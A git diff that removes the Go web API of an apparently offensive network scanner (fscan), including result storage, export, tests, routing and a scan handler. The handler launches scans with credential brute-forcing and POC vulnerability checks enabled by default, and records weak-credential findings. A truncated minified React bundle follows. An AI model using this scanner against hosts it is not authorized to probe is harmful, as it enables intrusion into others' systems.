nil { - writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) - return - } - writeJSON(w, http.StatusOK, p) -} - -// Get 获取项目详情 -func (h *ProjectHandler) Get(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - id := r.URL.Query().Get("id") - p := h.store.Get(id) - if p == nil { - writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) - return - } - writeJSON(w, http.StatusOK, p) -} - -// Delete 删除项目 -func (h *ProjectHandler) Delete(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - var req struct { - ID string `json:"id"` - } - if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.ID == "" { - writeJSON(w, http.StatusBadRequest, map[string]string{"error": "id is required"}) - return - } - if err := h.store.Delete(req.ID); err != nil { - writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) - return - } - writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"}) -} - -// Cache 查看项目缓存摘要 -func (h *ProjectHandler) Cache(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - id := r.URL.Query().Get("id") - p := h.store.Get(id) - if p == nil { - writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) - return - } - writeJSON(w, http.StatusOK, map[string]interface{}{ - "hosts": len(p.Hosts), - "ports": len(p.Ports), - "results": len(p.Results), - "cached_ports": h.store.CachedHostPorts(id), - }) -} diff --git a/web/api/result.go b/web/api/result.go deleted file mode 100644 index 1ec9c16a..00000000 --- a/web/api/result.go +++ /dev/null @@ -1,592 +0,0 @@ -//go:build web - -package api - -import ( - "database/sql" - "encoding/csv" - "encoding/json" - "fmt" - "net" - "net/http" - "os" - "path/filepath" - "strconv" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common/i18n" - _ "modernc.org/sqlite" -) - -// ResultItem 扫描结果项 -type ResultItem struct { - ID int64 `json:"id"` - Time time.Time `json:"time"` - Type string `json:"type"` // host, port, service, vuln - Target string `json:"target"` - Status string `json:"status"` - Details interface{} `json:"details,omitempty"` -} - -// ResultStore SQLite 结果存储 -type ResultStore struct { - mu sync.RWMutex - db *sql.DB -} - -// 全局结果存储 -var globalResultStore *ResultStore - -func init() { - store, err := NewResultStore() - if err != nil { - panic(fmt.Sprintf("failed to init result store: %v", err)) - } - globalResultStore = store -} - -// dbPath 返回数据库文件路径 -func dbPath() string { - home, err := os.UserHomeDir() - if err != nil { - home = "." - } - dir := filepath.Join(home, ".fscan") - _ = os.MkdirAll(dir, 0755) - return filepath.Join(dir, "results.db") -} - -// NewResultStore 创建 SQLite 存储 -func NewResultStore() (*ResultStore, error) { - db, err := sql.Open("sqlite", dbPath()) - if err != nil { - return nil, err - } - - // WAL 模式,提升并发读写 - if _, err := db.Exec("PRAGMA journal_mode=WAL"); err != nil { - db.Close() - return nil, err - } - - if _, err := db.Exec(` - CREATE TABLE IF NOT EXISTS results ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - time TEXT NOT NULL, - type TEXT NOT NULL, - target TEXT NOT NULL, - status TEXT NOT NULL DEFAULT '', - details TEXT NOT NULL DEFAULT '{}', - UNIQUE(type, target, status) - ) - `); err != nil { - db.Close() - return nil, err - } - - return &ResultStore{db: db}, nil -} - -// Add 添加结果(去重,重复返回 nil) -func (s *ResultStore) Add(result interface{}) *ResultItem { - s.mu.Lock() - defer s.mu.Unlock() - - item := ResultItem{ - Time: time.Now(), - Details: result, - } - - // 解析结果字段 - if m, ok := result.(map[string]interface{}); ok { - if t, ok := m["type"].(string); ok { - item.Type = strings.ToLower(t) - } - if target, ok := m["target"].(string); ok { - item.Target = target - } - if status, ok := m["status"].(string); ok { - item.Status = status - } - if details, ok := m["details"].(map[string]interface{}); ok { - item.Details = details - if port, ok := details["port"]; ok { - if target := targetWithDetailsPort(item.Target, port); target != "" { - item.Target = target - } - } - item.Status = buildStatusFromDetails(item.Type, item.Status, details) - } - } - - detailsJSON, _ := json.Marshal(item.Details) - - // service/port 类型:同一 target 只保留最详细的 - if item.Type == "service" || item.Type == "port" { - var existID int64 - var existStatus string - err := s.db.QueryRow( - "SELECT id, status FROM results WHERE type = ? AND target = ? LIMIT 1", - item.Type, item.Target, - ).Scan(&existID, &existStatus) - - if err == nil { - // 已有记录,判断是否需要更新 - if (existStatus == "identified" || existStatus == "open" || existStatus == "") && - item.Status != "identified" && item.Status != "open" && item.Status != "" { - s.db.Exec( - "UPDATE results SET status = ?, details = ?, time = ? WHERE id = ?", - item.Status, string(detailsJSON), item.Time.Format(time.RFC3339), existID, - ) - item.ID = existID - return &item - } - return nil - } - } - - // 插入(UNIQUE 约束自动去重) - res, err := s.db.Exec( - "INSERT OR IGNORE INTO results (time, type, target, status, details) VALUES (?, ?, ?, ?, ?)", - item.Time.Format(time.RFC3339), item.Type, item.Target, item.Status, string(detailsJSON), - ) - if err != nil { - return nil - } - - affected, _ := res.RowsAffected() - if affected == 0 { - return nil // 重复 - } - - item.ID, _ = res.LastInsertId() - return &item -} - -func targetWithDetailsPort(target string, port interface{}) string { - if target == "" { - return "" - } - if strings.Contains(target, "://") || strings.ContainsAny(target, "/?#") { - return "" - } - if _, _, ok := splitTargetHostPort(target); ok { - return "" - } - if strings.Contains(target, ":") { - hostForIP := target - if strings.HasPrefix(hostForIP, "[") && strings.HasSuffix(hostForIP, "]") { - hostForIP = strings.TrimPrefix(strings.TrimSuffix(hostForIP, "]"), "[") - } - if net.ParseIP(hostForIP) == nil { - return "" - } - } - portText := strings.TrimSpace(fmt.Sprint(port)) - portNum, err := strconv.Atoi(portText) - if err != nil || portNum < 1 || portNum > 65535 { - return "" - } - host := target - if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") { - host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[") - } - return net.JoinHostPort(host, portText) -} - -// List 获取所有结果 -func (s *ResultStore) List() []ResultItem { - s.mu.RLock() - defer s.mu.RUnlock() - - rows, err := s.db.Query("SELECT id, time, type, target, status, details FROM results ORDER BY id") - if err != nil { - return nil - } - defer rows.Close() - - return scanRows(rows) -} - -// Stats 获取统计信息 -func (s *ResultStore) Stats() ScanStats { - s.mu.RLock() - defer s.mu.RUnlock() - - var stats ScanStats - rows, err := s.db.Query("SELECT type, COUNT(*) FROM results GROUP BY type") - if err != nil { - return stats - } - defer rows.Close() - - for rows.Next() { - var t string - var count int - if rows.Scan(&t, &count) == nil { - switch t { - case "host": - stats.HostsScanned = count - case "port": - stats.PortsScanned = count - case "service": - stats.ServicesFound = count - case "vuln": - stats.VulnsFound = count - } - } - } - return stats -} - -// Clear 清空结果 -func (s *ResultStore) Clear() { - s.mu.Lock() - defer s.mu.Unlock() - s.db.Exec("DELETE FROM results") -} - -// scanRows 解析查询结果 -func scanRows(rows *sql.Rows) []ResultItem { - var items []ResultItem - for rows.Next() { - var item ResultItem - var timeStr, detailsStr string - if err := rows.Scan(&item.ID, &timeStr, &item.Type, &item.Target, &item.Status, &detailsStr); err != nil { - continue - } - item.Time, _ = time.Parse(time.RFC3339, timeStr) - var details interface{} - if json.Unmarshal([]byte(detailsStr), &details) == nil { - item.Details = details - } - items = append(items, item) - } - return items -} - -// ResultHandler 结果处理器 -type ResultHandler struct { - store *ResultStore -} - -// NewResultHandler 创建结果处理器 -func NewResultHandler() *ResultHandler { - return &ResultHandler{ - store: globalResultStore, - } -} - -// List 获取结果列表 -func (h *ResultHandler) List(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - typeFilter := r.URL.Query().Get("type") - items := h.store.List() - - if typeFilter != "" { - filtered := make([]ResultItem, 0) - for _, item := range items { - if item.Type == typeFilter { - filtered = append(filtered, item) - } - } - items = filtered - } - - writeJSON(w, http.StatusOK, map[string]interface{}{ - "items": items, - "total": len(items), - "stats": h.store.Stats(), - }) -} - -// ExportOutput 导出输出结构 -type ExportOutput struct { - ScanTime time.Time `json:"scan_time"` - Summary ExportSummary `json:"summary"` - Hosts []ResultItem `json:"hosts,omitempty"` - Ports []ResultItem `json:"ports,omitempty"` - Services []ResultItem `json:"services,omitempty"` - Vulns []ResultItem `json:"vulns,omitempty"` -} - -// ExportSummary 导出摘要 -type ExportSummary struct { - TotalHosts int `json:"total_hosts"` - TotalPorts int `json:"total_ports"` - TotalServices int `json:"total_services"` - TotalVulns int `json:"total_vulns"` -} - -// Export 导出结果 -func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - format := r.URL.Query().Get("format") - if format == "" { - format = "json" - } - - items := h.store.List() - - var hosts, ports, services, vulns []ResultItem - for _, item := range items { - switch item.Type { - case "host": - hosts = append(hosts, item) - case "port": - ports = append(ports, item) - case "service": - services = append(services, item) - case "vuln": - vulns = append(vulns, item) - } - } - - switch format { - case "json": - w.Header().Set("Content-Type", "application/json") - w.Header().Set("Content-Disposition", "attachment; filename=fscan_results.json") - - output := ExportOutput{ - ScanTime: time.Now(), - Summary: ExportSummary{ - TotalHosts: len(hosts), - TotalPorts: len(ports), - TotalServices: len(services), - TotalVulns: len(vulns), - }, - Hosts: hosts, - Ports: ports, - Services: services, - Vulns: vulns, - } - json.NewEncoder(w).Encode(output) - - case "csv": - w.Header().Set("Content-Type", "text/csv") - w.Header().Set("Content-Disposition", "attachment; filename=fscan_results.csv") - writer := csv.NewWriter(w) - - if len(hosts) > 0 { - writer.Write([]string{"# Hosts"}) - writer.Write([]string{"Target"}) - for _, item := range hosts { - writer.Write([]string{item.Target}) - } - writer.Write([]string{}) - } - - if len(ports) > 0 { - writer.Write([]string{"# Ports"}) - writer.Write([]string{"Target", "Port", "Status"}) - for _, item := range ports { - port := extractPort(item.Target) - target := extractHost(item.Target) - writer.Write([]string{target, port, "open"}) - } - writer.Write([]string{}) - } - - if len(services) > 0 { - writer.Write([]string{"# Services"}) - writer.Write([]string{"Target", "Service", "Version", "Banner"}) - for _, item := range services { - service, version, banner := extractServiceInfo(item.Details) - writer.Write([]string{item.Target, service, version, banner}) - } - writer.Write([]string{}) - } - - if len(vulns) > 0 { - writer.Write([]string{"# Vulns"}) - writer.Write([]string{"Target", "Type", "Details"}) - for _, item := range vulns { - vulnType := extractVulnType(item.Details) - writer.Write([]string{item.Target, vulnType, item.Status}) - } - writer.Write([]string{}) - } - - writer.Flush() - - default: - http.Error(w, "Unsupported format", http.StatusBadRequest) - } -} - -// extractPort 从 "ip:port" 中提取端口 -func extractPort(target string) string { - _, port, ok := splitTargetHostPort(target) - if !ok { - return "" - } - return port -} - -// extractHost 从 "ip:port" 中提取主机 -func extractHost(target string) string { - host, _, ok := splitTargetHostPort(target) - if !ok { - return target - } - return host -} - -func splitTargetHostPort(target string) (string, string, bool) { - host, port, err := net.SplitHostPort(target) - if err != nil { - if strings.Count(target, ":") != 1 { - return "", "", false - } - parts := strings.SplitN(target, ":", 2) - host, port = parts[0], parts[1] - } - if host == "" || port == "" { - return "", "", false - } - portNum, err := strconv.Atoi(port) - if err != nil || portNum < 1 || portNum > 65535 { - return "", "", false - } - return host, port, true -} - -// extractServiceInfo 从 details 中提取服务信息 -func extractServiceInfo(details interface{}) (service, version, banner string) { - if m, ok := details.(map[string]interface{}); ok { - if s, ok := m["service"].(string); ok { - service = s - } - if s, ok := m["name"].(string); ok && service == "" { - service = s - } - if v, ok := m["version"].(string); ok { - version = v - } - if b, ok := m["banner"].(string); ok { - banner = escapeControlChars(b) - banner = truncateString(banner, 100) - } - } - return -} - -func truncateString(s string, maxRunes int) string { - if maxRunes < 0 { - return s - } - for i := range s { - if maxRunes == 0 { - return s[:i] + "..." - } - maxRunes-- - } - return s -} - -// extractVulnType 从 details 中提取漏洞类型 -func extractVulnType(details interface{}) string { - if m, ok := details.(map[string]interface{}); ok { - if t, ok := m["type"].(string); ok { - return t - } - } - return "" -} - -// escapeControlChars 转义控制字符 -func escapeControlChars(s string) string { - replacer := strings.NewReplacer( - "\r\n", "\\r\\n", - "\n", "\\n", - "\r", "\\r", - "\t", "\\t", - ) - return replacer.Replace(s) -} - -// Clear 清空结果 -func (h *ResultHandler) Clear(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - h.store.Clear() - writeJSON(w, http.StatusOK, map[string]string{ - "status": "cleared", - }) -} - -// buildStatusFromDetails 从details构建可读的status -func buildStatusFromDetails(resultType, originalStatus string, details map[string]interface{}) string { - var parts []string - - switch resultType { - case "port": - return "open" - - case "service": - if name, ok := details["name"].(string); ok && name != "" { - parts = append(parts, name) - } - if version, ok := details["version"].(string); ok && version != "" { - parts = append(parts, version) - } - if product, ok := details["product"].(string); ok && product != "" { - parts = append(parts, product) - } - if os, ok := details["os"].(string); ok && os != "" { - parts = append(parts, os) - } - if len(parts) > 0 { - return strings.Join(parts, " | ") - } - - case "vuln": - return normalizeVulnStatus(originalStatus, details) - - case "host": - return "alive" - } - - return originalStatus -} - -// normalizeVulnStatus 统一漏洞状态显示 -func normalizeVulnStatus(status string, details map[string]interface{}) string { - vulnTranslations := map[string]string{ - "weak_credential": i18n.GetText("web_result_weak_credential"), - "unauthorized": i18n.GetText("unauthorized_access"), - "unauth": i18n.GetText("unauthorized_access"), - "anonymous": i18n.GetText("web_result_anonymous_access"), - "CVE": i18n.GetText("web_result_vulnerability"), - } - - if strings.HasPrefix(status, "weak_credential:") { - cred := strings.TrimPrefix(status, "weak_credential:") - cred = strings.TrimSpace(cred) - return i18n.Tr("web_result_weak_credential_detail", cred) - } - - for eng, chn := range vulnTranslations { - if strings.Contains(strings.ToLower(status), strings.ToLower(eng)) { - if strings.Contains(status, chn) { - return status - } - return strings.Replace(status, eng, chn, 1) - } - } - - return status -} diff --git a/web/api/result_test.go b/web/api/result_test.go deleted file mode 100644 index d9ba5492..00000000 --- a/web/api/result_test.go +++ /dev/null @@ -1,74 +0,0 @@ -//go:build web - -package api - -import ( - "testing" - "unicode/utf8" -) - -func TestExtractHostPortIPv6(t *testing.T) { - tests := []struct { - name string - target string - wantHost string - wantPort string - }{ - {name: "ipv4", target: "192.168.1.1:80", wantHost: "192.168.1.1", wantPort: "80"}, - {name: "hostname", target: "example.com:443", wantHost: "example.com", wantPort: "443"}, - {name: "bracketed ipv6", target: "[2001:db8::1]:8443", wantHost: "2001:db8::1", wantPort: "8443"}, - {name: "bare ipv6 without port", target: "2001:db8::1", wantHost: "2001:db8::1", wantPort: ""}, - {name: "invalid port", target: "example.com:abc", wantHost: "example.com:abc", wantPort: ""}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := extractHost(tt.target); got != tt.wantHost { - t.Fatalf("extractHost(%q) = %q, want %q", tt.target, got, tt.wantHost) - } - if got := extractPort(tt.target); got != tt.wantPort { - t.Fatalf("extractPort(%q) = %q, want %q", tt.target, got, tt.wantPort) - } - }) - } -} - -func TestTargetWithDetailsPort(t *testing.T) { - tests := []struct { - name string - target string - port interface{} - want string - }{ - {name: "hostname", target: "example.com", port: 443, want: "example.com:443"}, - {name: "ipv4", target: "192.168.1.1", port: "80", want: "192.168.1.1:80"}, - {name: "bare ipv6", target: "2001:db8::1", port: 8443, want: "[2001:db8::1]:8443"}, - {name: "bracketed ipv6", target: "[2001:db8::1]", port: 8443, want: "[2001:db8::1]:8443"}, - {name: "already has port", target: "[2001:db8::1]:8443", port: 9443, want: ""}, - {name: "invalid colon target", target: "example.com:abc", port: 80, want: ""}, - {name: "url target", target: "http://example.com", port: 80, want: ""}, - {name: "bad port", target: "example.com", port: 70000, want: ""}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := targetWithDetailsPort(tt.target, tt.port); got != tt.want { - t.Fatalf("targetWithDetailsPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want) - } - }) - } -} - -func TestExtractServiceInfoTruncatesBannerByRune(t *testing.T) { - banner := "" - for i := 0; i < 105; i++ { - banner += "界" - } - _, _, got := extractServiceInfo(map[string]interface{}{"banner": banner}) - if !utf8.ValidString(got) { - t.Fatalf("banner is not valid utf8: %q", got) - } - if len([]rune(got)) != 103 || got[len(got)-3:] != "..." { - t.Fatalf("banner = %q, rune len %d", got, len([]rune(got))) - } -} diff --git a/web/api/router.go b/web/api/router.go deleted file mode 100644 index 03634cec..00000000 --- a/web/api/router.go +++ /dev/null @@ -1,55 +0,0 @@ -//go:build web - -package api - -import ( - "fmt" - "net/http" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/web/ws" -) - -// RegisterRoutes 注册所有API路由 -func RegisterRoutes(mux *http.ServeMux, hub *ws.Hub) { - // 扫描管理 - scanHandler := NewScanHandler(hub) - mux.HandleFunc("/api/scan/start", scanHandler.Start) - mux.HandleFunc("/api/scan/stop", scanHandler.Stop) - mux.HandleFunc("/api/scan/status", scanHandler.Status) - - // 结果查询 - resultHandler := NewResultHandler() - mux.HandleFunc("/api/results", resultHandler.List) - mux.HandleFunc("/api/results/export", resultHandler.Export) - mux.HandleFunc("/api/results/clear", resultHandler.Clear) - - // 配置 - configHandler := NewConfigHandler() - mux.HandleFunc("/api/config/presets", configHandler.Presets) - mux.HandleFunc("/api/config/plugins", configHandler.Plugins) - - // 项目缓存 - projectHandler := NewProjectHandler() - mux.HandleFunc("/api/projects", projectHandler.List) - mux.HandleFunc("/api/projects/create", projectHandler.Create) - mux.HandleFunc("/api/projects/get", projectHandler.Get) - mux.HandleFunc("/api/projects/delete", projectHandler.Delete) - mux.HandleFunc("/api/projects/cache", projectHandler.Cache) - - // 系统信息 - mux.HandleFunc("/api/system/info", systemInfo) - mux.HandleFunc("/api/health", healthCheck) -} - -// healthCheck 健康检查 -func healthCheck(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - w.Write([]byte(`{"status":"ok"}`)) -} - -// systemInfo 系统信息 -func systemInfo(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - fmt.Fprintf(w, `{"version":"%s","build":"web"}`, common.GetVersion()) -} diff --git a/web/api/router_stub.go b/web/api/router_stub.go deleted file mode 100644 index 0ef86156..00000000 --- a/web/api/router_stub.go +++ /dev/null @@ -1,14 +0,0 @@ -//go:build !web - -package api - -import ( - "net/http" - - "github.com/shadow1ng/fscan/web/ws" -) - -// RegisterRoutes 非Web版本的空实现 -func RegisterRoutes(mux *http.ServeMux, hub *ws.Hub) { - // 非Web版本不注册任何路由 -} diff --git a/web/api/scan.go b/web/api/scan.go deleted file mode 100644 index 6858f0bf..00000000 --- a/web/api/scan.go +++ /dev/null @@ -1,323 +0,0 @@ -//go:build web - -package api - -import ( - "context" - "encoding/json" - "errors" - "net/http" - "sync" - "sync/atomic" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/core" - "github.com/shadow1ng/fscan/web/ws" -) - -// ScanState 扫描状态 -type ScanState int32 - -const ( - ScanStateIdle ScanState = iota - ScanStateRunning - ScanStateStopping -) - -// ScanRequest 扫描请求 -type ScanRequest struct { - // 目标 - Host string `json:"host"` - Ports string `json:"ports"` - ExcludeHosts string `json:"exclude_hosts"` - ExcludePorts string `json:"exclude_ports"` - - // 扫描控制 - ScanMode string `json:"scan_mode"` - ThreadNum int `json:"thread_num"` - Timeout int `json:"timeout"` - ModuleThreadNum int `json:"module_thread_num"` - DisablePing bool `json:"disable_ping"` - DisableBrute bool `json:"disable_brute"` - DisableSubnetProbe bool `json:"disable_subnet_probe"` - AliveOnly bool `json:"alive_only"` - - // 认证 - Username string `json:"username"` - Password string `json:"password"` - Domain string `json:"domain"` - - // POC - PocPath string `json:"poc_path"` - PocName string `json:"poc_name"` - PocFull bool `json:"poc_full"` - DisablePoc bool `json:"disable_poc"` - - // 项目缓存 - ProjectID string `json:"project_id,omitempty"` -} - -// ScanStatus 扫描状态响应 -type ScanStatus struct { - State string `json:"state"` - StartTime time.Time `json:"start_time,omitempty"` - Progress float64 `json:"progress"` - Stats ScanStats `json:"stats"` -} - -// ScanStats 扫描统计 -type ScanStats struct { - HostsScanned int `json:"hosts_scanned"` - PortsScanned int `json:"ports_scanned"` - ServicesFound int `json:"services_found"` - VulnsFound int `json:"vulns_found"` -} - -// ScanHandler 扫描处理器 -type ScanHandler struct { - hub *ws.Hub - state int32 - startTime time.Time - cancelFn context.CancelFunc - mu sync.RWMutex - results *ResultStore -} - -// NewScanHandler 创建扫描处理器 -func NewScanHandler(hub *ws.Hub) *ScanHandler { - return &ScanHandler{ - hub: hub, - results: globalResultStore, - } -} - -// Start 启动扫描 -func (h *ScanHandler) Start(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - // 检查是否已在扫描 - if !atomic.CompareAndSwapInt32(&h.state, int32(ScanStateIdle), int32(ScanStateRunning)) { - writeJSON(w, http.StatusConflict, map[string]string{ - "error": "scan already running", - }) - return - } - - // 解析请求 - var req ScanRequest - if err := json.NewDecoder(r.Body).Decode(&req); err != nil { - atomic.StoreInt32(&h.state, int32(ScanStateIdle)) - writeJSON(w, http.StatusBadRequest, map[string]string{ - "error": "invalid request: " + err.Error(), - }) - return - } - - // 验证必填参数 - if req.Host == "" { - atomic.StoreInt32(&h.state, int32(ScanStateIdle)) - writeJSON(w, http.StatusBadRequest, map[string]string{ - "error": "host is required", - }) - return - } - - h.mu.Lock() - h.startTime = time.Now() - h.mu.Unlock() - - // 清空旧结果 - h.results.Clear() - - // 广播扫描开始 - h.hub.Broadcast(ws.MsgScanStarted, map[string]interface{}{ - "host": req.Host, - "start_time": h.startTime, - }) - - // 异步执行扫描 - go h.runScan(req) - - writeJSON(w, http.StatusOK, map[string]interface{}{ - "status": "started", - "start_time": h.startTime, - }) -} - -// runScan 执行扫描 -func (h *ScanHandler) runScan(req ScanRequest) { - ctx, cancel := context.WithCancel(context.Background()) - - h.mu.Lock() - h.cancelFn = cancel - h.mu.Unlock() - - defer func() { - cancel() - h.mu.Lock() - h.cancelFn = nil - h.mu.Unlock() - common.ClearResultCallback() - atomic.StoreInt32(&h.state, int32(ScanStateIdle)) - h.hub.Broadcast(ws.MsgScanCompleted, map[string]interface{}{ - "duration": time.Since(h.startTime).Seconds(), - "stats": h.results.Stats(), - }) - }() - - // 构建HostInfo - info := common.HostInfo{ - Host: req.Host, - } - - // 构建FlagVars - fv := &common.FlagVars{} - fv.Ports = req.Ports - if fv.Ports == "" { - fv.Ports = "21,22,23,25,80,110,135,139,143,443,445,465,587,993,995,1433,1521,3306,3389,5432,5900,6379,8080,8443,9000,27017" - } - fv.ExcludeHosts = req.ExcludeHosts - fv.ExcludePorts = req.ExcludePorts - fv.ScanMode = req.ScanMode - if fv.ScanMode == "" { - fv.ScanMode = "all" - } - fv.ThreadNum = req.ThreadNum - if fv.ThreadNum <= 0 { - fv.ThreadNum = 600 - } - fv.TimeoutSec = int64(req.Timeout) - if fv.TimeoutSec == 0 { - fv.TimeoutSec = 3 - } - fv.ModuleThreadNum = req.ModuleThreadNum - if fv.ModuleThreadNum <= 0 { - fv.ModuleThreadNum = 20 - } - fv.DisablePing = req.DisablePing - fv.DisableBrute = req.DisableBrute - fv.DisableSubnetProbe = req.DisableSubnetProbe - fv.AliveOnly = req.AliveOnly - fv.Username = req.Username - fv.Password = req.Password - fv.Domain = req.Domain - fv.PocPath = req.PocPath - fv.PocName = req.PocName - fv.PocFull = req.PocFull - fv.DisablePocScan = req.DisablePoc - fv.DisableSave = true // Web模式不保存到文件 - fv.Silent = true // 静默模式 - - // 用户指定了线程数则标记为显式 - if req.ThreadNum > 0 { - fv.ThreadNumExplicit = true - } - - // 构建Config和Session - config := common.BuildConfigFromFlags(fv) - state := common.NewState() - session := common.NewScanSession(config, state, fv) - - // 过渡桥:全局状态同步(待 Phase 5 移除) - common.SetGlobalConfig(config) - common.SetGlobalState(state) - - // 项目缓存注入:把已知的 host:port 加入扫描目标 - if req.ProjectID != "" { - if cached := globalProjectStore.CachedHostPorts(req.ProjectID); len(cached) > 0 { - state.SetHostPorts(cached) - } - } - - // 设置WebSocket结果回调 - common.SetResultCallback(func(result interface{}) { - item := h.results.Add(result) - if item != nil { - h.hub.Broadcast(ws.MsgScanResult, item) - } - }) - - // 执行扫描 - if _, err := core.RunScan(ctx, info, session); err != nil && !errors.Is(err, context.Canceled) { - common.LogError(err.Error()) - } - - // 项目缓存回写:合并本次扫描结果 - if req.ProjectID != "" { - items := h.results.List() - if len(items) > 0 { - _ = globalProjectStore.MergeResults(req.ProjectID, items) - } - } -} - -// Stop 停止扫描 -func (h *ScanHandler) Stop(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - if atomic.LoadInt32(&h.state) != int32(ScanStateRunning) { - writeJSON(w, http.StatusBadRequest, map[string]string{ - "error": "no scan running", - }) - return - } - - atomic.StoreInt32(&h.state, int32(ScanStateStopping)) - - h.mu.Lock() - if h.cancelFn != nil { - h.cancelFn() - } - h.mu.Unlock() - - writeJSON(w, http.StatusOK, map[string]string{ - "status": "stopping", - }) -} - -// Status 获取扫描状态 -func (h *ScanHandler) Status(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - state := atomic.LoadInt32(&h.state) - stateStr := "idle" - switch ScanState(state) { - case ScanStateRunning: - stateStr = "running" - case ScanStateStopping: - stateStr = "stopping" - } - - h.mu.RLock() - startTime := h.startTime - h.mu.RUnlock() - - // 从 ProgressManager 获取进度百分比 - progress := common.GetProgressPercent() - - status := ScanStatus{ - State: stateStr, - StartTime: startTime, - Progress: progress, - Stats: h.results.Stats(), - } - - writeJSON(w, http.StatusOK, status) -} - -// writeJSON 写入JSON响应 -func writeJSON(w http.ResponseWriter, status int, data interface{}) { - w.Header().Set("Content-Type", "application/json") - w.WriteHeader(status) - json.NewEncoder(w).Encode(data) -} diff --git a/web/dist/assets/index-5JoZok-U.js b/web/dist/assets/index-5JoZok-U.js deleted file mode 100644 index d07ab496..00000000 --- a/web/dist/assets/index-5JoZok-U.js +++ /dev/null @@ -1,96 +0,0 @@ -function C$(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const l of i)if(l.type==="childList")for(const c of l.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const l={};return i.integrity&&(l.integrity=i.integrity),i.referrerPolicy&&(l.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?l.credentials="include":i.crossOrigin==="anonymous"?l.credentials="omit":l.credentials="same-origin",l}function r(i){if(i.ep)return;i.ep=!0;const l=n(i);fetch(i.href,l)}})();function Vr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var og={exports:{}},ec={};var cA;function _$(){if(cA)return ec;cA=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.fragment");function n(r,i,l){var c=null;if(l!==void 0&&(c=""+l),i.key!==void 0&&(c=""+i.key),"key"in i){l={};for(var u in i)u!=="key"&&(l[u]=i[u])}else l=i;return i=l.ref,{$$typeof:e,type:r,key:c,ref:i!==void 0?i:null,props:l}}return ec.Fragment=t,ec.jsx=n,ec.jsxs=n,ec}var uA;function T$(){return uA||(uA=1,og.exports=_$()),og.exports}var E=T$(),lg={exports:{}},Ne={};var fA;function N$(){if(fA)return Ne;fA=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.portal"),n=Symbol.for("react.fragment"),r=Symbol.for("react.strict_mode"),i=Symbol.for("react.profiler"),l=Symbol.for("react.consumer"),c=Symbol.for("react.context"),u=Symbol.for("react.forward_ref"),f=Symbol.for("react.suspense"),h=Symbol.for("react.memo"),p=Symbol.for("react.lazy"),m=Symbol.for("react.activity"),y=Symbol.iterator;function x(D){return D===null||typeof D!="object"?null:(D=y&&D[y]||D["@@iterator"],typeof D=="function"?D:null)}var S={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},w=Object.assign,O={};function A(D,X,ae){this.props=D,this.context=X,this.refs=O,this.updater=ae||S}A.prototype.isReactComponent={},A.prototype.setState=function(D,X){if(typeof D!="object"&&typeof D!="function"&&D!=null)throw Error("takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,D,X,"setState")},A.prototype.forceUpdate=function(D){this.updater.enqueueForceUpdate(this,D,"forceUpdate")};function _(){}_.prototype=A.prototype;function T(D,X,ae){this.props=D,this.context=X,this.refs=O,this.updater=ae||S}var j=T.prototype=new _;j.constructor=T,w(j,A.prototype),j.isPureReactComponent=!0;var M=Array.isArray;function P(){}var R={H:null,A:null,T:null,S:null},I=Object.prototype.hasOwnProperty;function B(D,X,ae){var se=ae.ref;return{$$typeof:e,type:D,key:X,ref:se!==void 0?se:null,props:ae}}function q(D,X){return B(D.type,X,D.props)}function U(D){return typeof D=="object"&&D!==null&&D.$$typeof===e}function V(D){var X={"=":"=0",":":"=2"};return"$"+D.replace(/[=:]/g,function(ae){return X[ae]})}var oe=/\/+/g;function le(D,X){return 